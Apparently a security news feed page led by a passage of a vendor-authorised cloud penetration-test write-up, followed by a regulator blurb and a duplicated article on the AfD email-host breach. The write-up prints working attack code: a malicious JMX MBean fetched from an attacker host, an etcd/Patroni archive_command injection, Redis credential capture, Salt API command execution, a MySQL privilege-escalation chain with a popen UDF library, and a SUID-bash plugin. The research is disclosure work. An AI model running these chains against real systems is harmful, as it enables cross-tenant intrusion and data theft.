    2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

    2. Adventures in the overlay network

    2.1. Victoria stack

    An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

    When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

    "discoveredLabels": {
               "__address__": "http://100.64.1.1:6897/metrics",
               "__meta_url": "CENSORED",
               "__metrics_path__": "/metrics",
               "__scheme__": "http",
               "__scrape_interval__": "2m0s",
               "__scrape_timeout__": "2m0s",
               "cluster_id": "676767",
               "customer": "customerID",
               "job": "http",
               "profile": "kubernetes",
               "vds_id": "1337",
               "version": "1.0"
             }

    It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

    We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
    Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

    Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

    Private SSH key in a VictoriaLogs record

    Private SSH key in a VictoriaLogs record

    We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

    Process privileges on the host and available actions in Kubernetes

    Process privileges on the host and available actions in Kubernetes

    Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

    2.2. Compromising managed Kafka instances

    We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

    Discovered Java RMI service on port 9999

    Discovered Java RMI service on port 9999

    The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

    • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
    • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
    • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

    The code that handles the connection and initialization of the MBean component looks like this:

    //JmxCreateMBean.java
    ...
    import javax.management.remote.JMXConnector;
    import javax.management.remote.JMXConnectorFactory;
    import javax.management.remote.JMXServiceURL;
    
    public class JmxCreateMBean {
        private static final class RewritingSocketFactory extends RMISocketFactory {
            private final String fromHost;
            private final String toHost;
    
            RewritingSocketFactory(String fromHost, String toHost) {
                ...
            }
    
            @Override
            public Socket createSocket(String host, int port) throws IOException {
                ...
            }
    
            @Override
            public ServerSocket createServerSocket(int port) throws IOException {
                ...
            }
        }
    
        public static void main(String[] args) throws Exception {
            ...
            RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
            String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
    
            try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
                var mbsc = connector.getMBeanServerConnection();
                try {
                    ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                    System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
                } catch (InstanceAlreadyExistsException e) {
                    System.out.println("EXISTS " + args[5]);
                }
            }
        }
    }

    Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

    // Exec.java
    import java.nio.charset.StandardCharsets;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.util.Base64;
    
    public class Exec implements ExecMBean {
        @Override
        public String run(String cmd) throws Exception {
            Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
            byte[] out = p.getInputStream().readAllBytes();
            int rc = p.waitFor();
            return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
        }
    
        @Override
        public String getB64(String path) throws Exception {
            return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
        }
    
        @Override
        public String putB64(String path, String b64) throws Exception {
            byte[] data = Base64.getDecoder().decode(b64);
            Files.write(Path.of(path), data);
            return "wrote " + data.length + " bytes";
        }
    }

    After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

    <html>
    <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
    </html>

    We then perform the following steps:

    1. Create a standard MLet loader inside the Kafka JVM.
    2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
    3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
    Kafka process context and node network interfaces

    Kafka process context and node network interfaces

    This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

    2.3. Credential leakage through redis-exporter

    The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

    //redis_exporter/exporter/http.go:47
    func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
      target := r.URL.Query().Get("target")
    ...
    
      if !strings.Contains(target, "://") {
        target = "redis://" + target
      }
    
      u, err := url.Parse(target)
    ...
    
      opts := e.options
    ...
      _, err = NewRedisExporter(target, opts)
    ...

    Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

    http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
    AUTH command in an intercepted Redis request

    AUTH command in an intercepted Redis request

    The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

    Diagnostic information of the Valkey instance

    Diagnostic information of the Valkey instance

    (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

    2.4. Compromise of managed PostgreSQL (Patroni) clusters

    The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

    Patroni configuration in etcd

    Patroni configuration in etcd

    {
      "ttl": 30,
      "loop_wait": 10,
      "retry_timeout": 10,
      "maximum_lag_on_failover": 1048576,
      "postgresql": {
        "use_pg_rewind": true,
        "parameters": {
          "archive_command": "id",
          "archive_mode": "always",
          "max_connections": 550,
          "max_locks_per_transaction": 512,
          "max_worker_processes": 27
        }
      }
    }

    Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

    Update the Patroni configuration with the modified archive_command:

    curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

    Update the configuration again to add the standby_cluster parameter:

    {
    "ttl": 30,
    "loop_wait": 10,
    "retry_timeout": 10,
    "maximum_lag_on_failover": 1048576,
    "postgresql": {
     "use_pg_rewind": true,
     "parameters": {
       "archive_command": "rce",
       "archive_mode": "on",
       "archive_timeout": "10",
       "max_connections": 550,
       "max_locks_per_transaction": 512,
       "max_worker_processes": 27
     }
    },
    "standby_cluster": {
     "host": "192.0.2.1",
     "port": 5432
    }
    }

    After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

    cannot be a real primary in standby cluster  
    Demoting self (demote-cluster)  
    received fast shutdown request  
    checkpoint starting: shutdown immediate

    Postgres then restarts, and the archiving process runs and executes the injected command:

    PostgreSQL process context and node network interfaces

    PostgreSQL process context and node network interfaces

    This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

    Database and S3 access parameters in a backup file

    Database and S3 access parameters in a backup file

    This storage holds backups not only of the current instance but also of all other databases in the cloud.

    List of backup storage locations in S3

    List of backup storage locations in S3

    3. Attack on SaltStack management infrastructure

    After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

    3.1. Analysis of salt fs

    The first step was to dump the entire Salt master file system for subsequent static analysis:

    Fragment of the Salt Master file list

    Fragment of the Salt Master file list

    It contained numerous files.

    salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
          mkdir -p "/tmp/dump/$(dirname "$f")"
          salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
        done

    Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

    sql = query.format(
                minion_id=minion_id,
                pillar={**pillar, **results},
                grains=__grains__,
            )
            loaded_items = db_connections[db_alias].load_object_list(sql)

    A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

    Database error during pillar processing

    Database error during pillar processing

    3.2. Exploiting the SQLi

    This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

     Fragment of the table list in the cloudsmth schema

    Fragment of the table list in the cloudsmth schema

    Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

    Records with Salt Master authentication tokens

    Records with Salt Master authentication tokens

    With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

    curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

    By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

    4. Other ways to attack the cloud

    It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

    4.1. Exploiting a vulnerability in Managed Valkey

    During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

    valkey_version=7.2.11
    redis_version=7.2.4
    redis_git_sha1=97b6663c
    redis_git_dirty=0
    redis_build_id=a75ca2f023d97d88
    gcc_version=13.3.0
    arch_bits=64
    os=Linux 6.8.0-124-generic x86_64
    executable=/usr/bin/valkey-server

    The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

    CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

    NoExecPaths=/
    ExecPaths=/usr/bin/valkey-server /usr/lib /lib
    CapabilityBoundingSet=
    NoNewPrivileges=true
    PrivateUsers=true
    ProtectSystem=strict
    ProtectHome=true
    SystemCallFilter=@system-service
    SystemCallFilter=~ @privileged @resources

    These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

    Valkey process context and Salt grains parameters

    Valkey process context and Salt grains parameters

    The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

    4.2. MySQL

    The MySQL database user didn’t have root privileges when the resource was created.

    DROP TABLE IF EXISTS mysql.global_grants;
    CREATE TABLE mysql.global_grants (
    USER char(32) NOT NULL DEFAULT '',
    HOST char(255) NOT NULL DEFAULT '',
    PRIV char(32) NOT NULL DEFAULT '',
    WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
    PRIMARY KEY (USER, HOST, PRIV)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

    DROP TABLE IF EXISTS mysql.user;
    
      CREATE TABLE mysql.user (
        Host char(255) NOT NULL DEFAULT '%',
        User char(32) NOT NULL DEFAULT '',
        Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
        ssl_cipher blob NOT NULL,
        x509_issuer blob NOT NULL,
        x509_subject blob NOT NULL,
        max_questions int unsigned NOT NULL DEFAULT 0,
        max_updates int unsigned NOT NULL DEFAULT 0,
        max_connections int unsigned NOT NULL DEFAULT 0,
        max_user_connections int unsigned NOT NULL DEFAULT 0,
        plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
        authentication_string text,
        password_expired enum('N','Y') NOT NULL DEFAULT 'N',
        password_last_changed timestamp NULL DEFAULT NULL,
        password_lifetime smallint unsigned DEFAULT NULL,
        account_locked enum('N','Y') NOT NULL DEFAULT 'N',
        Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Password_reuse_history smallint unsigned DEFAULT NULL,
        Password_reuse_time smallint unsigned DEFAULT NULL,
        Password_require_current enum('N','Y') DEFAULT NULL,
        User_attributes json DEFAULT NULL,
        PRIMARY KEY (Host, User)
      ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
    FLUSH PRIVILEGES;

    Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    
    typedef unsigned long long udf_args_type;
    
    typedef struct {
     unsigned int arg_count;
     unsigned int *arg_type;
     char **args;
     unsigned long *lengths;
     char *maybe_null;
     char **attributes;
     unsigned long *attribute_lengths;
     void *extension;
    } UDF_ARGS;
    
    typedef struct {
     char maybe_null;
     unsigned int decimals;
     unsigned long max_length;
     char *ptr;
     char const_item;
     void *extension;
    } UDF_INIT;
    
    int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
     if (args->arg_count != 1) {
         strcpy(message, "sys_eval requires one argument");
         return 1;
     }
     initid->max_length = 65535;
     return 0;
    }
    
    void sys_eval_deinit(UDF_INIT *initid) {}
    
    char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
                unsigned long *length, char *is_null, char *error) {
     if (!args->args[0]) { *is_null = 1; return NULL; }
     char cmd[65535];
     snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
     FILE *pipe = popen(cmd, "r");
     if (!pipe) { *is_null = 1; return NULL; }
     static char buf[65535];
     size_t total = 0;
     while (total < sizeof(buf)-1) {
         size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
         if (n == 0) break;
         total += n;
     }
     pclose(pipe);
     buf[total] = '\0';
     *length = total;
     return buf;
    }

    RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

    curl -s -X PATCH "https://somecloud/api/dbaas/id" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer $TOKEN" \
      -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

    This vector made it possible to inject line breaks and override critical configuration parameters:

    default-time-zone="+00:00
    secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
    plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

    With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

    SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

    We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
    Result of executing id via MySQL UDF

    Result of executing id via MySQL UDF

    The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

    #include <stdlib.h>
    __attribute__((constructor)) static void init(void) {
      system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
    }

    We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

    Conclusion

    The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

    Source: Securelist (Kaspersky GReAT) · 2026-10-27

  • From industry concern to practical action: the value of working with regulators

    How industry, the NCSC and the FCA worked together to help organisations share information while protecting market integrity

    Source: NCSC UK · 2026-10-27

  • Attack on email hosting provider for German far right party AfD exposed 345k accounts

    Attack on email hosting provider for German far right party AfD exposed 345k accounts

    The cyberattack on Alternative for Germany (AfD), the country’s most prominent far-right political party, exposed hundreds of thousands of confidential emails and attachments, as well as more than 345,000 unique email addresses. Have I Been Pwned confirmed the scale of the breach for the first time today, after AfD officially disclosed the September attack on its hosting provider last week. AfD said in its statement that “only a few email accounts were illegally copied,” but admitted a large amount of the data was taken from them, resulting in an extensive data breach. The emails were added to what the party described as “an activist website,” which summarised the email chains into searchable topics and has led to the publication of various revelations, such as a party co-leader’s opinions on colleagues’ “deeply problematic” racial discourse. Per a report from investigative journalist Lilith Wittmann, citing conversations with the cybercriminals responsible for the hack-and-leak job and party sources, the attack was first spotted on September 9 and started with a compromise of a poorly protected WordPress site. The same report claimed the criminals gained persistent access to the servers operated by the hosting provider, identified as AfD-owned Alternita Dienstleistungs GmbH, and exfiltrated more than a terabyte of data. No official sources have verified the hackers’ claims about how the attack unfolded. The Register contacted Alternita Dienstleistungs for its take. AfD said the owners of the affected email accounts have been notified, and that it reported the attack to security authorities. “We are deeply concerned by what has happened,” the party said in an October 20 statement. “Such a digital attack is illegal and a criminal offense. Furthermore, it is an attack on the German party system and thus on democracy. “We are extremely worried that, apparently, the content of the stolen documents was analyzed using a very rudimentary AI. This analysis focused on keywords, not the context. The alleged scandals published so far do not stand up to scrutiny – a fact that, thankfully, is being confirmed by a growing number of commentators on social media.” Among the AI-generated summaries compiled by the “activist site” are chains supposedly expressing views related to Holocaust denial, racist and antisemitic rants, the 9/11 disaster, forged documents, and more. Der Spiegel sifted through the raw files and reported that party leader Alice Weidel seemingly knew about illegal donations related to the 2017 federal elections weeks before she previously said she did. The AfD’s position is that the AI summaries of the emails are not to be trusted, but it has not specifically commented on the veracity of the raw email files available for download via torrent. It did not immediately respond to our request for input, but has told reporters previously that it will not comment on whether the emails, or the stories that have been written based on them, are to be trusted. ®

    Source: The Register Security · 2026-10-27

  • Attack on email hosting provider for German far right party AfD exposed 345k accounts

    Attack on email hosting provider for German far right party AfD exposed 345k accounts

    The cyberattack on Alternative for Germany (AfD), the country’s most prominent far-right political party, exposed hundreds of thousands of confidential emails and attachments, as well as more than 345,000 unique email addresses. Have I Been Pwned confirmed the scale of the breach for the first time today, after AfD officially disclosed the September attack on its hosting provider last week. AfD said in its statement that “only a few email accounts were illegally copied,” but admitted a large amount of the data was taken from them, resulting in an extensive data breach. The emails were added to what the party described as “an activist website,” which summarised the email chains into searchable topics and has led to the publication of various revelations, such as a party co-leader’s opinions on colleagues’ “deeply problematic” racial discourse. Per a report from investigative journalist Lilith Wittmann, citing conversations with the cybercriminals responsible for the hack-and-leak job and party sources, the attack was first spotted on September 9 and started with a compromise of a poorly protected WordPress site. The same report claimed the criminals gained persistent access to the servers operated by the hosting provider, identified as AfD-owned Alternita Dienstleistungs GmbH, and exfiltrated more than a terabyte of data. No official sources have verified the hackers’ claims about how the attack unfolded. The Register contacted Alternita Dienstleistungs for its take. AfD said the owners of the affected email accounts have been notified, and that it reported the attack to security authorities. “We are deeply concerned by what has happened,” the party said in an October 20 statement. “Such a digital attack is illegal and a criminal offense. Furthermore, it is an attack on the German party system and thus on democracy. “We are extremely worried that, apparently, the content of the stolen documents was analyzed using a very rudimentary AI. This analysis focused on keywords, not the context. The alleged scandals published so far do not stand up to scrutiny – a fact that, thankfully, is being confirmed by a growing number of commentators on social media.” Among the AI-generated summaries compiled by the “activist site” are chains supposedly expressing views related to Holocaust denial, racist and antisemitic rants, the 9/11 disaster, forged documents, and more. Der Spiegel sifted through the raw files and reported that party leader Alice Weidel seemingly knew about illegal donations related to the 2017 federal elections weeks before she previously said she did. The AfD’s position is that the AI summaries of the emails are not to be trusted, but it has not specifically commented on the veracity of the raw email files available for download via torrent. It did not immediately respond to our request for input, but has told reporters previously that it will not comment on whether the emails, or the stories that have been written based on them, are to be trusted. ®

    Source: The Register — Security · 2026-10-27